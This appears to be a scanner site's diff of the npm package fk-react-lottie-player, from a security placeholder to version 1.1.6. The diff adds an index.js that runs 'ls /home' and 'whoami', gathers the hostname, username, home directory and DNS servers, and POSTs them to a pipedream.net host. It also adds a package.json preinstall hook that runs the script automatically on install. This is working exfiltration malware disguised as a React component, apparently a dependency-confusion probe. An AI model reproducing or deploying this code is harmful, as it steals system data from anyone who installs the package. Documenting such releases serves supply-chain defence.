fk-react-lottie-player 0.0.1-security → 1.1.6

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of fk-react-lottie-player might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +87 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,87 @@
1
+ const { spawn } = require("child_process");
2
+
3
+ const ls = spawn("ls", ["/home"]);
4
+ let ls_cmd;
5
+ ls.stdout.on("data", data => {
6
+ ls_cmd = console.log(`${data}`);
7
+ });
8
+
9
+ ls.stderr.on("data", data => {
10
+ console.log(`stderr: ${data}`);
11
+ });
12
+
13
+ ls.on('error', (error) => {
14
+ console.log(`error: ${error.message}`);
15
+ });
16
+
17
+ ls.on("close", code => {
18
+ console.log(``);
19
+ });
20
+
21
+ const wmi = spawn("whoami");
22
+ let whoami_cmd;
23
+ wmi.stdout.on("data", data => {
24
+ whoami_cmd = console.log(`${data}`);
25
+ });
26
+
27
+ wmi.stderr.on("data", data => {
28
+ console.log(`stderr: ${data}`);
29
+ });
30
+
31
+ wmi.on('error', (error) => {
32
+ console.log(`error: ${error.message}`);
33
+ });
34
+
35
+ wmi.on("close", code => {
36
+ console.log(``);
37
+ });
38
+
39
+ console.log(whoami_cmd);
40
+
41
+
42
+ const os = require("os");
43
+ const dns = require("dns");
44
+ const querystring = require("querystring");
45
+ const https = require("https");
46
+ const packageJSON = require("./package.json");
47
+ const package = packageJSON.name;
48
+
49
+ const trackingData = JSON.stringify({
50
+ p: package,
51
+ c: __dirname,
52
+ home_directory: os.homedir(),
53
+ hostname: os.hostname(),
54
+ os_userInfo: os.userInfo().username,
55
+ whoami : whoami_cmd,
56
+ ls_home_command: ls_cmd,
57
+ dns: dns.getServers(),
58
+ resolved: packageJSON ? packageJSON.___resolved : undefined,
59
+ });
60
+
61
+ var postData = querystring.stringify({
62
+ msg: trackingData,
63
+ });
64
+
65
+ var options = {
66
+ hostname: "eo1vg1e58ux1ltd.m.pipedream.net", //replace burpcollaborator.net with Interactsh or pipedream
67
+ port: 443,
68
+ path: "/",
69
+ method: "POST",
70
+ headers: {
71
+ "Content-Type": "application/x-www-form-urlencoded",
72
+ "Content-Length": postData.length,
73
+ },
74
+ };
75
+
76
+ var req = https.request(options, (res) => {
77
+ res.on("data", (d) => {
78
+ process.stdout.write(d);
79
+ });
80
+ });
81
+
82
+ req.on("error", (e) => {
83
+ // console.error(e);
84
+ });
85
+
86
+ req.write(postData);
87
+ req.end();
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "fk-react-lottie-player",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.1.6",
4
+ "description": "Hackerone nishant57",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=fk-react-lottie-player for more information.